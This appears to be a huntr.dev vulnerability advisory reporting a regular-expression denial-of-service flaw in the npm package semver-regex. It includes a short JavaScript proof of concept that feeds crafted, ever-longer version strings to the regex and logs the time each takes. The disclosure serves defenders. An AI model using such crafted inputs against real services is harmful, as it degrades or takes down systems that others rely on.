Lucene search

K
huntrYetingli006624E3-35AC-448F-AAB9-7B5183F30E28
HistorySep 10, 2021 - 12:09 p.m.

Inefficient Regular Expression Complexity in sindresorhus/semver-regex

2021-09-1012:09:00
yetingli
www.huntr.dev
11

0.001 Low

EPSS

Percentile

45.8%

✍️ Description

It allows cause a denial of service when formatting crafted invalid semver versions.

🕵️‍♂️ Proof of Concept

// PoC.mjs
import semverRegex from 'semver-regex';

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '0.0.0-0' + '.-------'.repeat(i*1) + '@';
    semverRegex().test(attack_str );
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

0.001 Low

EPSS

Percentile

45.8%

Related for 006624E3-35AC-448F-AAB9-7B5183F30E28